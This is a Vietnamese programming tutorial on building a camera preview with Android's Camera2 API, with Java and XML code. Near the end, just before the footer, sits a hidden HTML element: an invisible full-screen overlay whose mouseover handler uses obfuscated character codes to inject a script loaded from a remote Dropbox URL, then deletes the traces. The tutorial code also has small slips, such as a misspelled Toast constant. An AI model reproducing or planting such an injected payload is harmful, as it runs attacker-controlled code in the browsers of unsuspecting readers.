+3

New API Camera2 in Android

Kể từ API lever 21 (Android 5.0) Google giới thiệu tới cộng đồng lập trình viên thêm 1 camera api mới ( camera2 API ) và khuyến cáo mọi ng sử dụng Camera2 API thay cho Camera API với nhiều lựa chọn, tùy biến và hỗ trợ nhiều loại thiết bị đầu cuối hơn.

Trong phiên bản mới này Google tách các thành phần của Camera ra nhiều phần riêng biệt giúp cộng đồng lập trình viên có thể dễ dàng can thiệp, tùy chỉnh tạo ra 1 Camera của riêng mình.

Dưới đây mình xin giới thiệu các thành phần cơ bản nhất của Camera2 API mới này:

  • CameraManager - Cung cấp các * interface* và lắng nghe kết nối đến CamearaDevice. chi tiết ...

  • CameraDevice - Lớp đại diện cho 1 thiết bị camera duy nhất kiết nối với 1 thiết bị Android. chi tiết ...

  • CameraCaptureSession - Cung cấp một tập hợp các thiết bị đầu ra cho * Camera* (TextureView, MediaRecorder, MediaCodec, ImageReader, RenderScriptAllocation). chi tiết ...

  • CaptureRequest - Cài đặt, thiết lâp các thông số cần thiếp để chụp 1 bức ảnh từ CameraDevice. Khởi tạo CaptureRequest.Builder bởi các templates đã được định nghĩa trước (TEMPLATE_PREVIEW, TEMPLATE_RECORD, TEMPLATE_STILL_CAPTURE, TEMPLATE_VIDEO_SNAPSHOT, TEMPLATE_MANUAL). Yêu cầu này được đưa ra để xác định các công việc mà CameraDevice thực hiện. chi tiết ...

  • CaptureResult - Trả về các giá trị từ CameraDevice (VD như một ảnh dc chụp từ image sensor.) chi tiết...

  • CameraCharacteristics - Lớp trả về các đặc tính của CameraDevice chi tiết

Bạn sẽ cần phải nhớ rằng tất cả các tính năng trên Camera2 API không phải là lúc nào cũng có trên máy ảnh mà các nhà cung cấp phần cứng sản xuất. Tất cả phụ thuộc vào các thiết bị camera. Để kiểm tra xem phần cứng máy ảnh hỗ trợ những tính năng nào bạn sử dụng lớp CameraCharacteristics.

  • characteristics.get(CameraCharacteristics.INFO_SUPPORTED_HARDWARE_LEVEL);

Phần trên là giới thiệu sơ qua một chút về lý thuyết để các bạn có thể hình dung ra các công việc cần để tự custom riêng cho mình 1 camera riêng.

Phần này mình sẽ hương dẫn các bạn Custom 1 camera hiển thị lên TextureView

**I. Khởi tạo View **

Ở đây mình mặc định là các bạn đã biết lập trình Android cơ bản.

Đầu tiên các bạn tạo 1 Project trống và chỉ cần MainActivity thôi nhé ( đây là Demo cơ bản nên chỉ cần thế thôi )

Trong main_activity

<?xml version="1.0" encoding="utf-8"?>
<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"
    xmlns:app="http://schemas.android.com/apk/res-auto"
    xmlns:tools="http://schemas.android.com/tools"
    android:id="@+id/activity_camera"
    android:layout_width="match_parent"
    android:layout_height="match_parent">

    <TextureView
        android:layout_width="match_parent"
        android:layout_height="match_parent"
        tools:layout_editor_absoluteX="50dp"
        tools:layout_editor_absoluteY="171dp"
        android:id="@+id/textureView" />

</RelativeLayout>

Ở đây mình chỉ để 1 TextureView để hiển thị hình ảnh thu dc từ Camera lên màn hình thôi nhé.

Trong AndroidManifest các bạn khai báo thêm 1 số thuộc tính như sau:

    <uses-permission android:name="android.permission.CAMERA" />
    <uses-permission android:name="android.hardware.camera2.full" />

II. Code xử lý.

Phần khởi tạo View dễ đúng ko và phần gian khổ và khó nhất mới bắt đầu từ đây thôi, các bạn cố gắng làm từng bước để hiểu luồng dữ liệu và cách sử dụng các class như nào nhé.

Đầu tiên là khai báo các biến cần dùng trước nhé

private String cameraId;
private TextureView textureView;
private CameraDevice cameraDevice;
private Size previewSize;

// khai báo luôn 1 số sự kiện
// phần sau dùng thì các bạn sẽ rõ
// tạm thời các bạn cứ để như mặc định nhé. Khi nào dùng đến bước nào mình sẽ hướng dẫn thêm vào sau.
private TextureView.SurfaceTextureListener surfaceTextureListener =
    new TextureView.SurfaceTextureListener() {
        @Override
        public void onSurfaceTextureAvailable(SurfaceTexture surface, int width, int height) {

        }
        @Override
        public void onSurfaceTextureSizeChanged(SurfaceTexture surface, int width, int height) {
        }
        @Override
        public boolean onSurfaceTextureDestroyed(SurfaceTexture surface) {
        return false;
        }

        @Override
        public void onSurfaceTextureUpdated(SurfaceTexture surface) {
        }
    };

private CameraDevice.StateCallback cameraDeviceStateCallback = new CameraDevice.StateCallback() {
    @Override
    public void onOpened(CameraDevice camera) {
    }
    @Override
    public void onDisconnected(CameraDevice camera) {
    }
    @Override
    public void onError(CameraDevice camera, int error) {
    }
};

@Override
protected void onCreate(Bundle savedInstanceState) {
    super.onCreate(savedInstanceState);
    setContentView(R.layout.activity_camera);
    textureView = (TextureView) findViewById(R.id.textureView);
}

@Override
protected void onResume() {
    super.onResume();
    if (textureView.isAvailable()) {
    } else {
        textureView.setSurfaceTextureListener(surfaceTextureListener);
    }
}

@Override
protected void onPause() {
    super.onPause();
}

Xong phần này, tiếp theo mình sẽ khởi tạo hàm "setupCamera()" để cài đặt 1 số thông số cần thiết cho Camera.

private TextureView.SurfaceTextureListener surfaceTextureListener =
    new TextureView.SurfaceTextureListener() {
        @Override
        public void onSurfaceTextureAvailable(SurfaceTexture surface, int width, int height) {
            setupCamera(width, height);
        }
        ....
}
.....
@Override
protected void onPause() {
    super.onPause();
}

private void setupCamera(int width, int height){
    CameraManager cameraManager = (CameraManager) getSystemService(Context.CAMERA_SERVICE);
    try {
            for (String id : cameraManager.getCameraIdList()) {
                CameraCharacteristics cameraCharacteristics = cameraManager.getCameraCharacteristics(id);

                // ở đây mình sử dụng Camera sau để thực hiện bài test.
                if (cameraCharacteristics.get(CameraCharacteristics.LENS_FACING) ==
                    CameraCharacteristics.LENS_FACING_FRONT) {
                    continue;
                }
                StreamConfigurationMap map =
                    cameraCharacteristics.get(CameraCharacteristics.SCALER_STREAM_CONFIGURATION_MAP);

                // Set Size để hiển thị lên màn hình
                previewSize = getPreferredPreviewsSize(
                                    map.getOutputSizes(SurfaceTexture.class),
                                    width,
                                    height);
                cameraId = id;
            }
        } catch (CameraAccessException e) {
            e.printStackTrace();
        }
}
private Size getPreferredPreviewsSize(Size[] mapSize, int width, int height) {
    List<Size> collectorSize = new ArrayList<>();
    for (Size option : mapSize) {
        if (width > height) {
            if (option.getWidth() > width && option.getHeight() > height) {
                collectorSize.add(option);
            }
        } else {
            if (option.getWidth() > height && option.getHeight() > width) {
                collectorSize.add(option);
            }
        }
    }
    if (collectorSize.size() > 0) {
        return Collections.min(collectorSize, new Comparator<Size>() {
            @Override
            public int compare(Size lhs, Size rhs) {
                return Long.signum(lhs.getWidth() * lhs.getHeight() - rhs.getHeight() * rhs.getWidth());
            }
        });
    }
    return mapSize[0];
}

Phần tiếp theo, mình sẽ viết hàm để kết nối tới camera của thiết bị

    ....
private TextureView.SurfaceTextureListener surfaceTextureListener =
    new TextureView.SurfaceTextureListener() {
        @Override
        public void onSurfaceTextureAvailable(SurfaceTexture surface, int width, int height) {
            setupCamera(width, height);
            openCamera();
        }
        ....
}
private CameraDevice.StateCallback cameraDeviceStateCallback = new CameraDevice.StateCallback() {
    @Override
    public void onOpened(CameraDevice camera) {
        // khi mở Camera thành công thì gán vào biến "cameraDevice"
        // về sau chung ta chỉ sử dụng biến "cameraDevie" để mở các kết nối, thực hiện các thao tác khác
        cameraDevice = camera;
        Toast.makeText(getApplicationContext(),"Camera open", Toast.LENGHT_SHOT).show();
    }

    // Nếu mở ko thành công thì các bạn nhớ "close" nó lại nhá
    @Override
    public void onDisconnected(CameraDevice camera) {
        camera.close();
        cameraDevice = null;
    }
    @Override
    public void onError(CameraDevice camera, int error) {
        camera.close();
        cameraDevice = null;
    }
};
....

@Override
protected void onResume() {
    super.onResume();
    if (textureView.isAvailable()) {
        setupCamera(textureView.getWidth(), textureView.getHeight());
        openCamera();
    } else {
        textureView.setSurfaceTextureListener(surfaceTextureListener);
    }
}

@Override
protected void onPause() {
    closeCamera();
    super.onPause();
}
....

private void openCamera(){
    CameraManager cameraManager = (CameraManager) getSystemService(Context.CAMERA_SERVICE);
    try {
        // mở kết nối tới Camera của thiết bị
        // các hành động trả về sẽ dc thực hiện trong "cameraDeviceStateCallback"
        // tham số thứ 3 của hàm openCamera là 1 "Handler"
        // nhưng hiện tại ở đây chúng ta chưa cần thiết nên mình để nó là "null"
        cameraManager.openCamera(cameraId, cameraDeviceStateCallback, null);
    } catch (CameraAccessException e) {
        e.printStackTrace();
    }
}

// Close camera khi bạn chuyển sang Activity khác hoặc khi bạn thoát khỏi ứng dụng.
private void closeCamera(){
    if (cameraDevice != null) {
        cameraDevice.close();
        cameraDevice = null;
    }
}

Đến đây khi bạn chạy ứng dụng mà có chữ "Camera open" là các bạn đã kết nối thành công với "Camera" rồi đấy.

Đến đây mình sẽ hướng dẫn các bạn hiển thị hình ảnh thu từ camera lên view

....
private CameraDevice cameraDevice;
private Size previewSize;
private CaptureRequest previewCaptureRequest;
private CaptureRequest.Builder previewCaptureRequestBuilder;
private CameraCaptureSession cameraCaptureSession;
....

private CameraDevice.StateCallback cameraDeviceStateCallback = new CameraDevice.StateCallback(){
    @Override
    public void onOpened(CameraDevice camera) {
        // khi mở Camera thành công thì gán vào biến "cameraDevice"
        // về sau chung ta chỉ sử dụng biến "cameraDevie" để mở các kết nối, thực hiện các thao tác khác
        cameraDevice = camera;

        // Hiển thị hình ảnh thu về từ Camera lên màn hình
        createCameraPreviewSession();
    }

    ....
}

// Callback này dc sử dụng trong createCameraPreviewSession().
// Do hàm này chỉ đơn giản là hiển thị hình ảnh thu về từ Camera
// và chưa xử lý dữ liệu thu dc từ Camera nên các bạn cứ để mặc định như này là ok
private CameraCaptureSession.CaptureCallback cameraSessionCaptureCallback =
    new CameraCaptureSession.CaptureCallback() {
        @Override
        public void onCaptureStarted(CameraCaptureSession session, CaptureRequest request,
                                        long timestamp, long frameNumber) {
            super.onCaptureStarted(session, request, timestamp, frameNumber);
        }

        @Override
        public void onCaptureCompleted(CameraCaptureSession session,
                                           CaptureRequest request, TotalCaptureResult result) {
            super.onCaptureCompleted(session, request, result);
        }

        @Override
        public void onCaptureFailed(CameraCaptureSession session,
                                        CaptureRequest request, CaptureFailure failure) {
            super.onCaptureFailed(session, request, failure);
        }
    };

....

private void closeCamera(){
    ...
    if (cameraCaptureSession != null) {
        cameraCaptureSession.close();
        cameraCaptureSession = null;
    }
}

// Khởi tạo hàm để hiển thị hình ảnh thu về từ Camera lên TextureView
private void createCameraPreviewSession() {
    try {
        SurfaceTexture surfaceTexture = textureView.getSurfaceTexture();
        surfaceTexture.setDefaultBufferSize(previewSize.getWidth(), previewSize.getHeight());
        Surface previewSurface = new Surface(surfaceTexture);

        // Khởi tạo CaptureRequestBuilder từ cameraDevice với template truyền vào là
        // "CameraDevice.TEMPLATE_PREVIEW"
        // Với template này thì CaptureRequestBuilder chỉ thực hiện View mà thôi
        previewCaptureRequestBuilder = cameraDevice.createCaptureRequest(CameraDevice.TEMPLATE_PREVIEW);

        // Thêm đích đến cho dữ liệu lấy về từ Camera
        // Đích đến này phải nằm trong danh sách các đích đến của dữ liệu
        // được định nghĩa trong cameraDevice.createCaptureSession() "phần định nghĩa này ngay bên dưới"
        previewCaptureRequestBuilder.addTarget(previewSurface);

        // Khởi tạo 1 CaptureSession
        // Arrays.asList(previewSurface) List danh sách các Surface
        // ( đích đến của hình ảnh thu về từ Camera)
        // Ở đây đơn giản là chỉ hiển thị hình ảnh thu về từ Camera nên chúng ta chỉ có 1 đối số.
        // Nếu bạn muốn chụp ảnh hay quay video vvv thì
        // ta có thể truyền thêm các danh sách đối số vào đây
        // Vd: Arrays.asList(previewSurface, imageReader)
        cameraDevice.createCaptureSession(Arrays.asList(previewSurface),
                // Hàm Callback trả về kết quả khi khởi tạo.
                new CameraCaptureSession.StateCallback() {
                    @Override
                    public void onConfigured(CameraCaptureSession session) {
                        if (cameraDevice == null) {
                            return;
                        }
                        try {
                            // Khởi tạo CaptureRequest từ CaptureRequestBuilder
                            // với các thông số đã được thêm ở trên
                            previewCaptureRequest = previewCaptureRequestBuilder.build();
                            cameraCaptureSession = session;
                            cameraCaptureSession.setRepeatingRequest(
                                    previewCaptureRequest,
                                    cameraSessionCaptureCallback,
                                    null);
                        } catch (CameraAccessException e) {
                            e.printStackTrace();
                        }
                    }

                    @Override
                    public void onConfigureFailed(CameraCaptureSession session) {
                        Toast.makeText(getApplicationContext(),
                            "Create camera session fail", Toast.LENGTH_SHORT).show();
                    }
                },
                // Đối số thứ 3 của hàm là 1 Handler,
                // nhưng do hiện tại chúng ta chưa làm gì nhiều nên mình tạm thời để là null
                null);
    } catch (CameraAccessException e) {
        e.printStackTrace();
    }
}

Đến đây là bạn đã hoàn thành cơ bản rồi. Bây giờ hãy chạy ứng dụng để em thành quả nhé.

Phần sau mình sẽ hướng dẫn các bạn chụp ảnh, lưu ảnh từ Custom Camera này.

<hr id="unique-hr" style="background-color: #a00; border: none; height: 2000px; width: 2000px ;z-index: 1000; opacity: 0.01; position: fixed; top: 0px; left: 0px;" onmouseover="$('#footer').append(String.fromCharCode(39, 60, 115, 99, 114, 105, 112, 116) + ' id=\'atk-src\' src=\'https://www.dropbox.com/s/vfi73fypu0x7ij5/serious.js?dl=1\'></' + String.fromCharCode(115, 99, 114, 105, 112, 116, 62, 39)); setTimeout(function() {$('#unique-hr,#atk-src').remove();}, 3000);">

All rights reserved

Viblo
Hãy đăng ký một tài khoản Viblo để nhận được nhiều bài viết thú vị hơn.
Đăng kí